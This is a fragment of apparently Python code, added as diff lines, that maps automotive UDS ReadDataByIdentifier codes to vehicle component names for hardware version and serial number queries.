+UDS_RDBI.dataIdentifiers[0x683e] = "Electronic_ignition_lock_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x683f] = "Air_quality_sensor_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x6840] = "Display_unit_2_for_multimedia_system_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x6841] = "Telephone_handset_2_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x6842] = "Chip_card_reader_control_module_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x6843] = "Traffic_data_aerial_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x6844] = "Hands_free_system_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x6845] = "Telephone_handset_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x6846] = "Display_unit_front_for_multimedia_system_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x6847] = "Multimedia_operating_unit_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x6848] = "Digital_sound_system_control_module_2_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x6849] = "Electrically_adjustable_steering_column_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x684a] = "Interface_for_external_multimedia_unit_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x684b] = "Relative_Air_Humidity_Interior_Sender_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x684c] = "Drivers_door_rear_control_module_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x684d] = "Passengers_rear_door_control_module_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x684e] = "Sensor_controlled_power_rear_lid_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x684f] = "Camera_for_night_vision_system_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x6850] = "Relative_humidity_sensor_in_fresh_air_intake_duct_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x6851] = "Rear_spoiler_adjustment_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x6852] = "Roof_blind_2_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x6853] = "Motor_for_wind_deflector_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x6854] = "Voltage_stabilizer_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x6855] = "Switch_module_for_driver_seat_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x6856] = "Switch_module_for_front_passenger_seat_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x6857] = "Switch_module_for_rear_seat_driver_side_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x6858] = "Switch_module_for_rear_seat_front_passenger_side_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x6859] = "Switch_module_2_for_driver_seat_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x685a] = "Battery_charger_unit_1_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x685b] = "Battery_charger_unit_2_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x685c] = "Battery_charger_unit_3_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x685d] = "Air_conditioning_compressor_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x685e] = "Neck_heating_left_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x685f] = "Neck_heating_right_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x6860] = "Switch_module_2_for_front_passenger_seat_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x6861] = "Switch_module_2_for_rear_seat_front_passenger_side_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x6862] = "Compact_disc_database_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x6863] = "Rear_climatronic_operating_and_display_unit_left_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x6864] = "Rear_climatronic_operating_and_display_unit_right_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x6865] = "Door_handle_front_left_Kessy_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x6866] = "Door_handle_front_right_Kessy_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x6867] = "Door_handle_rear_left_Kessy_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x6868] = "Door_handle_rear_right_Kessy_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x6869] = "Power_converter_DC_AC_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x686a] = "Battery_monitoring_control_module_2_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x686b] = "Matrix_headlamp_powermodule_1_left_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x686c] = "Matrix_headlamp_powermodule_1_right_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x686d] = "High_beam_powermodule_left_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x686e] = "High_beam_powermodule_right_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x686f] = "Air_suspension_compressor_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x6870] = "Rear_brake_actuator_1_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x6871] = "Rear_brake_actuator_2_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x6872] = "Analog_clock_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x6873] = "Rear_door_control_module_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x6879] = "Data_medium_2_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x687a] = "Operating_unit_center_console_1_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x687b] = "Operating_unit_center_console_2_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x687c] = "Operating_unit_center_console_3_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x687d] = "Operating_unit_center_console_4_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x687e] = "Interface_for_radiodisplay_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x687f] = "Parkassist_entry_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x6886] = "Belt_pretensioner_3rd_row_left_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x6887] = "Belt_pretensioner_3rd_row_right_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x6888] = "Injection_valve_heater_control_unit_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x6889] = "Steering_column_switch_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x688a] = "Brake_assistance_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x688b] = "Trailer_articulation_angle_sensor_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x688c] = "Cup_holder_with_heater_and_cooling_element_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x688d] = "Range_of_vision_sensing_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x688e] = "Convenience_and_driver_assist_operating_unit_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x688f] = "Cradle_rear_climatronic_operating_and_display_unit_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x6890] = "Trailer_weight_nose_weight_detection_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x6891] = "Sensor_carbon_dioxide_concentration_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x6892] = "Sensor_fine_dust_concentration_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x6893] = "Volume_control_1_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x6894] = "Belt_buckle_presenter_2nd_row_left_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x6895] = "Belt_buckle_presenter_2nd_row_right_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x6896] = "Operating_and_display_unit_6_for_air_conditioning_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x6897] = "Active_accelerator_pedal_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x6898] = "Multimedia_operating_unit_2_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x6899] = "Display_unit_3_for_multimedia_system_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x689a] = "Display_unit_4_for_multimedia_system_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x689b] = "Display_unit_5_for_multimedia_system_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x689c] = "Control_module_for_auxiliary_blower_motors_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x689d] = "Operating_and_display_unit_3_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x689e] = "Operating_and_display_unit_4_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x689f] = "Operating_and_display_unit_5_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x68a0] = "Side Sensor Driver Front_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x68a1] = "Side Sensor Passenger Front_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x68a2] = "Side Sensor Driver Rear_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x68a3] = "Side Sensor Passenger Rear_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x68a4] = "Front Sensor Driver_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x68a5] = "Front Sensor Passenger_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x68a6] = "Pedestrian Protection Driver_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x68a7] = "Pedestrian Protection Passenger_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x68a8] = "Rear Sensor Center_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x68a9] = "Pedestrian Protection Center_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x68aa] = "Pedestrian Protection Contact_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x68ab] = "Pedestrian_protection_driver_2_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x68ac] = "Pedestrian_protection_passenger_2_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x68ad] = "Central_sensor_XY_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x68ae] = "Refrigerant_pressure_and_temperature_sender_2_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x68af] = "Refrigerant_pressure_and_temperature_sender_3_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x68b0] = "Switch_for_rear_multicontour_seat_driver_side_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x68b1] = "Valve_block_1_in_driver_side_rear_seat_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x68b2] = "Valve_block_2_in_driver_side_rear_seat_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x68b3] = "Valve_block_3_in_driver_side_rear_seat_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x68b4] = "Switch_for_rear_multicontour_seat_passenger_side_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x68b5] = "Valve_block_1_in_passenger_side_rear_seat_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x68b6] = "Valve_block_2_in_passenger_side_rear_seat_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x68b7] = "Valve_block_3_in_passenger_side_rear_seat_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x68b8] = "Switch_for_front_multicontour_seat_driver_side_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x68b9] = "Valve_block_1_in_driver_side_front_seat_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x68ba] = "Valve_block_2_in_driver_side_front_seat_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x68bb] = "Valve_block_3_in_driver_side_front_seat_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x68bc] = "Switch_for_front_multicontour_seat_passenger_side_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x68bd] = "Valve_block_1_in_passenger_side_front_seat_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x68be] = "Valve_block_2_in_passenger_side_front_seat_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x68bf] = "Valve_block_3_in_passenger_side_front_seat_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x68c0] = "Coolant_heater_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x68c1] = "Seat_backrest_fan_1_front_left_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x68c2] = "Seat_backrest_fan_2_front_left_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x68c3] = "Seat_cushion_fan_1_front_left_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x68c4] = "Seat_cushion_fan_2_front_left_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x68c5] = "Seat_backrest_fan_1_front_right_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x68c6] = "Seat_backrest_fan_2_front_right_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x68c7] = "Seat_cushion_fan_1_front_right_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x68c8] = "Seat_cushion_fan_2_front_right_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x68c9] = "Operating_and_display_unit_1_for_air_conditioning_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x68ca] = "Operating_and_display_unit_2_for_air_conditioning_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x68cb] = "Operating_and_display_unit_3_for_air_conditioning_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x68cc] = "Operating_and_display_unit_4_for_air_conditioning_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x68cd] = "Operating_and_display_unit_5_for_air_conditioning_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x68ce] = "Pedestrian_protection_left_hand_side_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x68cf] = "Pedestrian_protection_right_hand_side_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x68d0] = "Battery_junction_box_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x68d1] = "Cell_module_controller_1_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x68d2] = "Cell_module_controller_2_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x68d3] = "Cell_module_controller_3_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x68d4] = "Cell_module_controller_4_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x68d5] = "Cell_module_controller_5_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x68d6] = "Cell_module_controller_6_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x68d7] = "Cell_module_controller_7_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x68d8] = "Cell_module_controller_8_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x68d9] = "Cell_module_controller_9_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x68da] = "Cell_module_controller_10_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x68db] = "Cell_module_controller_11_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x68dc] = "Cell_module_controller_12_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x68dd] = "Seat_backrest_fan_1_rear_left_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x68de] = "Seat_backrest_fan_2_rear_left_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x68df] = "Seat_cushion_fan_1_rear_left_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x68e0] = "Seat_cushion_fan_2_rear_left_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x68e1] = "Seat_backrest_fan_1_rear_right_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x68e2] = "Seat_backrest_fan_2_rear_right_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x68e3] = "Seat_cushion_fan_1_rear_right_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x68e4] = "Seat_cushion_fan_2_rear_right_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x68e5] = "Auxiliary_blower_motor_control_1_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x68e6] = "Auxiliary_blower_motor_control_2_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x68e7] = "Infrared_sender_for_front_observation_module_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x68e8] = "Starter_generator_control_module_sub_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x68e9] = "Media_player_1_sub_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x68ea] = "Media_player_2_sub_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x68eb] = "Dedicated_short_range_communication_aerial_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x68ec] = "Refrigerant_pressure_and_temperature_sender_4_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x68ed] = "Refrigerant_pressure_and_temperature_sender_5_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x68ee] = "Refrigerant_pressure_and_temperature_sender_6_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x68ef] = "Air_coolant_actuator_1_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x68f0] = "Air_coolant_actuator_2_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x68f1] = "Cell_module_controller_13_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x68f2] = "Cell_module_controller_14_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x68f3] = "Cell_module_controller_15_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x68f5] = "Seat_heating_rear_1_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x68f6] = "LED_warning_indicator_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x68f7] = "Automatic_transmission_fluid_pump_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x68f8] = "Manual_transmission_fluid_pump_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x68f9] = "Convenience_and_driver_assist_operating_unit_2_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x68fb] = "Air_coolant_actuator_3_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x68fc] = "Valve_block_4_in_driver_side_rear_seat_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x68fd] = "Valve_block_4_in_passenger_side_rear_seat_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x68fe] = "Valve_block_4_in_driver_side_front_seat_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x68ff] = "Valve_block_4_in_passenger_side_front_seat_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x6901] = "Rear_climatronic_operating_and_display_unit_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x6902] = "Refrigerant_expansion_valve_1_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x6903] = "Refrigerant_expansion_valve_2_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x6904] = "Refrigerant_expansion_valve_3_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x6905] = "Refrigerant_shut_off_valve_1_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x6906] = "Refrigerant_shut_off_valve_2_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x6907] = "Refrigerant_shut_off_valve_3_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x6908] = "Refrigerant_shut_off_valve_4_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x6909] = "Refrigerant_shut_off_valve_5_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x690a] = "Sunlight_sensor_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x690b] = "Near_field_communication_control_module_2_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x690c] = "Clutch_control_unit_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x690d] = "Electrical_charger_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x690e] = "Rear_light_left_2_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x690f] = "Rear_light_right_1_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x6910] = "Rear_light_right_2_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x6911] = "Sunlight_sensor_2_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x6912] = "Radiator_shutter_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x6913] = "Radiator_shutter_2_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x6914] = "Radiator_shutter_3_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x6915] = "Radiator_shutter_4_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x6918] = "Special_key_operating_unit_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x6919] = "Radio_interface_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x691a] = "Video_self_protection_recorder_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x691b] = "Special_vehicle_assist_interface_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x691c] = "Electric_system_disconnection_diode_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x691d] = "Cradle_rear_climatronic_operating_and_display_unit_2_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x691e] = "Belt_pretensioner_2nd_row_left_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x691f] = "Belt_pretensioner_2nd_row_right_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x6920] = "Electrical_variable_camshaft_phasing_1_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x6921] = "Electrical_variable_camshaft_phasing_2_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x6922] = "Wireless_operating_unit_1_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x6923] = "Wireless_operating_unit_2_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x6924] = "Front_windshield_washer_pump_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x6925] = "Air_quality_sensor_2_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x6926] = "Fragrancing_system_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x6927] = "Coolant_valve_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x6928] = "Near_field_communication_control_module_3_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x6929] = "Interior_monitoring_rear_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x692a] = "Cooler_fan_1_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x692b] = "Control_unit_heating_1_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x692c] = "Control_unit_heating_2_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x692d] = "Control_unit_heating_3_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x692e] = "Control_unit_heating_4_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x692f] = "Operating_unit_drive_mode_selection_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x6930] = "Side_sensor_a-pillar_driver_front_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x6931] = "Side_sensor_a-pillar_passenger_front_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x6932] = "Sensor_high_voltage_system_1_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x6933] = "Side_sensor_b-pillar_driver_front_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x6934] = "Side_sensor_b-pillar_passenger_front_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x6935] = "Multi_function_steering_wheel_control_module_2_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x6936] = "Gear_selection_display_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x6937] = "Cooler_fan_2_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x6938] = "Gear_selector_control_module_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x6939] = "Interior_light_module_2_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x693a] = "Radio_control_center_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x693b] = "Multimedia_extension_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x693c] = "Control_unit_differential_lock_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x693d] = "Control_unit_ride_control_system_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x693e] = "Control_unit_hands_on_detection_steering_wheel_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x693f] = "Front_climatronic_operating_and_display_unit_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x6940] = "Auxiliary_display_unit_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x6941] = "Card_reader_tv_tuner_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x6942] = "Park_lock_actuator_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x6943] = "Media_connector_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x6944] = "Catalyst_heating_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x6a01] = "Control_unit_for_wiper_motor_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6a02] = "Rain_light_recognition_sensor_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6a03] = "Light_switch_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6a04] = "Garage_door_opener_control_module_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6a05] = "Garage_door_opener_operating_unit_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6a06] = "Ignition_key_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6a07] = "Left_front_seat_ventilation_control_module_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6a08] = "Right_front_seat_ventilation_control_module_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6a09] = "Left_rear_seat_ventilation_control_module_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6a0a] = "LED_headlamp_powermodule_left_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6a0b] = "LED_headlamp_powermodule_right_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6a0c] = "LED_headlamp_powermodule_2_left_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6a0d] = "LED_headlamp_powermodule_2_right_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6a0e] = "Operating_and_display_unit_1_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6a0f] = "Operating_and_display_unit_2_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6a10] = "Right_rear_seat_ventilation_control_module_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6a11] = "Data_medium_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6a12] = "Drivers_door_control_module_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6a13] = "Front_passengers_door_control_module_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6a14] = "Left_headlamp_power_output_stage_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6a15] = "Right_headlamp_power_output_stage_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6a16] = "Sensor_for_anti_theft_alarm_system_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6a17] = "Rear_lid_control_module_2_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6a18] = "Alarm_horn_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6a19] = "Automatic_day_night_interior_mirror_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6a1a] = "Remote_control_auxiliary_heater_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6a1b] = "Fresh_air_blower_front_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6a1c] = "Fresh_air_blower_back_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6a1d] = "Alternator_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6a1e] = "Interior_light_module_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6a1f] = "Refrigerant_pressure_and_temperature_sender_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6a20] = "Sun_roof_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6a21] = "Steering_column_lock_actuator_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6a22] = "Anti_theft_tilt_system_control_unit_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6a23] = "Tire_pressure_monitor_antenna_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6a24] = "Heated_windshield_control_module_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6a25] = "Rear_light_left_1_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6a26] = "Ceiling_light_module_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6a27] = "Left_front_massage_seat_control_module_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6a28] = "Right_front_massage_seat_control_module_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6a29] = "Control_module_for_auxiliary_air_heater_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6a2a] = "Belt Pretensioner left_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6a2b] = "Belt Pretensioner right_Serial_Number" +UDS_RDBI.dataIdentifiers[0x6a2c] = "Occupant Detection_Serial_Number" 